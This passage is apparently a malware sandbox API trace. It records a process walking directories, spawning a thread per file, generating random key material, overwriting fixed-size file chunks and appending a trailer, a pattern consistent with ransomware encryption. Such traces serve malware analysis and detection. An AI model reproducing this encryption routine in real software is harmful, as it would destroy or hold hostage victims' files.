dwReserved0=0x0, dwReserved1=0x0, cFileName="MSS.log", cAlternateFileName="")) returned 1 [0150.942] wcscmp (_String1="MSS.log", _String2=".") returned 1 [0150.942] wcscmp (_String1="MSS.log", _String2="..") returned 1 [0150.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae6e0 [0150.942] wcscpy (in: _Dest=0x202ae6e0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0150.942] wcscat (in: _Dest=0x202ae6e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0150.942] wcscat (in: _Dest=0x202ae6e0, _Source="MSS.log" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" [0150.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x231c [0150.943] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295c6760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295c6760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x295ec8c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSres00001.jrs", cAlternateFileName="MSSRES~1.JRS")) returned 1 [0150.943] wcscmp (_String1="MSSres00001.jrs", _String2=".") returned 1 [0150.943] wcscmp (_String1="MSSres00001.jrs", _String2="..") returned 1 [0150.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad660 [0150.943] wcscpy (in: _Dest=0x1b7ad660, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0150.943] wcscat (in: _Dest=0x1b7ad660, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0150.943] wcscat (in: _Dest=0x1b7ad660, _Source="MSSres00001.jrs" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" [0150.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2320 [0150.944] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295ec8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295ec8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x295ec8c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSres00002.jrs", cAlternateFileName="MSSRES~2.JRS")) returned 1 [0150.944] wcscmp (_String1="MSSres00002.jrs", _String2=".") returned 1 [0150.944] wcscmp (_String1="MSSres00002.jrs", _String2="..") returned 1 [0150.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad480 [0150.945] wcscpy (in: _Dest=0x1b7ad480, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0150.945] wcscat (in: _Dest=0x1b7ad480, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0150.945] wcscat (in: _Dest=0x1b7ad480, _Source="MSSres00002.jrs" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" [0150.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2324 [0150.946] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects", cAlternateFileName="")) returned 1 [0150.946] wcscmp (_String1="Projects", _String2=".") returned 1 [0150.946] wcscmp (_String1="Projects", _String2="..") returned 1 [0150.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202afa90 [0150.946] wcscpy (in: _Dest=0x202afa90, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0150.946] wcscat (in: _Dest=0x202afa90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0150.946] wcscat (in: _Dest=0x202afa90, _Source="Projects" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" [0150.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202afa90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2328 [0150.947] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4810000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.edb", cAlternateFileName="")) returned 1 [0150.947] wcscmp (_String1="Windows.edb", _String2=".") returned 1 [0150.947] wcscmp (_String1="Windows.edb", _String2="..") returned 1 [0150.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7add40 [0150.948] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0150.948] wcscat (in: _Dest=0x1b7add40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0150.948] wcscat (in: _Dest=0x1b7add40, _Source="Windows.edb" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" [0150.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7add40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x232c [0150.949] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4810000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.edb", cAlternateFileName="")) returned 0 [0150.949] FindClose (in: hFindFile=0x1b7ce8e0 | out: hFindFile=0x1b7ce8e0) returned 1 [0150.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0150.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0150.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 Thread: id = 1710 os_tid = 0xb88 [0130.973] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg")) returned 0x20 [0130.973] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0 [0130.973] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.974] GetLastError () returned 0x5 [0130.974] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0 [0130.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 Thread: id = 1711 os_tid = 0xb78 [0130.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml")) returned 0x20 [0132.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml", dwFileAttributes=0x20) returned 1 [0133.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c08 [0134.389] GetFileSizeEx (in: hFile=0x1c08, lpFileSize=0x2171f8e0 | out: lpFileSize=0x2171f8e0*=201136) returned 1 [0134.389] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x311ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.389] ReadFile (in: hFile=0x1c08, lpBuffer=0x2171f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2171f8a8, lpOverlapped=0x0 | out: lpBuffer=0x2171f860*, lpNumberOfBytesRead=0x2171f8a8*=0x4, lpOverlapped=0x0) returned 1 [0134.429] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674d0 [0134.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267530 [0134.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0134.429] NtQuerySystemTime (in: CurrentTime=0x2171f7a0 | out: CurrentTime=0x2171f7a0*=132462177396742000) returned 0x0 [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x6abe42a7 [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x5c41b03a [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x429414eb [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x772bf420 [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x81bfeef [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x7508f3c3 [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x7938cca [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x6777e17 [0134.429] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x7414c7b2 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x4c0e70df [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x10569f66 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x63c5cf0f [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x49df1ea3 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x4bdbc628 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x78d6e19f [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x3698d0c [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x66678bc2 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x3c53c71c [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x3f8caab6 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x4a8f827d [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x1e033b98 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x1830641e [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x6d903c16 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x21782a80 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x26e3c63f [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x14b75743 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x56b318d8 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x3a31811a [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x7a93f8d8 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x7afbf653 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0xa4676c2 [0134.430] RtlRandomEx (in: Seed=0x2171f790 | out: Seed=0x2171f790) returned 0x41bfdecc [0134.441] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.441] ReadFile (in: hFile=0x1c08, lpBuffer=0x41caa520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2171f800, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesRead=0x2171f800*=0x3c00, lpOverlapped=0x0) returned 1 [0134.485] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0134.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e410 [0134.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267680 [0134.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267680) returned 1 [0134.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cc0d80 [0134.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267680 [0134.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676e0 [0134.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676e0) returned 1 [0134.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0134.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0134.487] WriteFile (in: hFile=0x1c08, lpBuffer=0x41cc0d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2171f800, lpOverlapped=0x0 | out: lpBuffer=0x41cc0d80*, lpNumberOfBytesWritten=0x2171f800*=0x3c00, lpOverlapped=0x0) returned 1 [0166.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc0d80) returned 1 [0166.204] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.204] ReadFile (in: hFile=0x1c08, lpBuffer=0x41caa520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2171f800, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesRead=0x2171f800*=0x3c00, lpOverlapped=0x0) returned 1 [0166.205] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2810 [0166.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2810) returned 1 [0166.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cc0d80 [0166.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2810 [0166.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2780 [0166.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2780) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.207] WriteFile (in: hFile=0x1c08, lpBuffer=0x41cc0d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2171f800, lpOverlapped=0x0 | out: lpBuffer=0x41cc0d80*, lpNumberOfBytesWritten=0x2171f800*=0x3c00, lpOverlapped=0x0) returned 1 [0187.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc0d80) returned 1 [0187.129] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x2d5b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.129] ReadFile (in: hFile=0x1c08, lpBuffer=0x41caa520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2171f800, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesRead=0x2171f800*=0x3c00, lpOverlapped=0x0) returned 1 [0190.505] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x2d5b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138920 [0190.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138920) returned 1 [0190.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e13cc0 [0190.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138920 [0190.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138a70 [0190.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138a70) returned 1 [0190.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.510] WriteFile (in: hFile=0x1c08, lpBuffer=0x41e13cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2171f800, lpOverlapped=0x0 | out: lpBuffer=0x41e13cc0*, lpNumberOfBytesWritten=0x2171f800*=0x3c00, lpOverlapped=0x0) returned 1 [0205.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e13cc0) returned 1 [0205.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f0c0 [0205.297] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.297] WriteFile (in: hFile=0x1c08, lpBuffer=0x1355e0*, nNumberOfBytesToWrite=0x1a8, lpNumberOfBytesWritten=0x2171f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1355e0*, lpNumberOfBytesWritten=0x2171f8b0*=0x1a8, lpOverlapped=0x0) returned 1 [0208.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0208.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb460 [0208.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac80 [0208.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ac80) returned 1 [0208.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1ceba360 [0208.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac80 [0208.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ac50 [0208.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ac50) returned 1 [0208.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb460) returned 1 [0208.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0208.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xed) returned 0x1b78e580 [0208.520] sprintf (in: _Dest=0x1b78e580, _Format="%c%c" | out: _Dest="f0") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e582, _Format="%c%c" | out: _Dest="c9") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e584, _Format="%c%c" | out: _Dest="5f") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e586, _Format="%c%c" | out: _Dest="6f") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e588, _Format="%c%c" | out: _Dest="ad") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e58a, _Format="%c%c" | out: _Dest="0f") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e58c, _Format="%c%c" | out: _Dest="74") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e58e, _Format="%c%c" | out: _Dest="90") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e590, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e592, _Format="%c%c" | out: _Dest="87") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e594, _Format="%c%c" | out: _Dest="08") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e596, _Format="%c%c" | out: _Dest="37") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e598, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e59a, _Format="%c%c" | out: _Dest="37") returned 2 [0208.520] sprintf (in: _Dest=0x1b78e59c, _Format="%c%c" | out: _Dest="9a") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e59e, _Format="%c%c" | out: _Dest="3c") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5a0, _Format="%c%c" | out: _Dest="4d") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5a2, _Format="%c%c" | out: _Dest="6d") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5a4, _Format="%c%c" | out: _Dest="34") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5a6, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5a8, _Format="%c%c" | out: _Dest="17") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5aa, _Format="%c%c" | out: _Dest="88") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5ac, _Format="%c%c" | out: _Dest="3c") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5ae, _Format="%c%c" | out: _Dest="9b") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5b0, _Format="%c%c" | out: _Dest="b0") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5b2, _Format="%c%c" | out: _Dest="75") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5b4, _Format="%c%c" | out: _Dest="84") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5b6, _Format="%c%c" | out: _Dest="62") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5b8, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5ba, _Format="%c%c" | out: _Dest="75") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5bc, _Format="%c%c" | out: _Dest="47") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5be, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5c0, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5c2, _Format="%c%c" | out: _Dest="c7") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5c4, _Format="%c%c" | out: _Dest="61") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5c6, _Format="%c%c" | out: _Dest="66") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5c8, _Format="%c%c" | out: _Dest="12") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5ca, _Format="%c%c" | out: _Dest="f2") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5cc, _Format="%c%c" | out: _Dest="6a") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5ce, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5d0, _Format="%c%c" | out: _Dest="fa") returned 2 [0208.521] sprintf (in: _Dest=0x1b78e5d2, _Format="%c%c" | out: _Dest="ed") returned 2 [0208.522] sprintf (in: 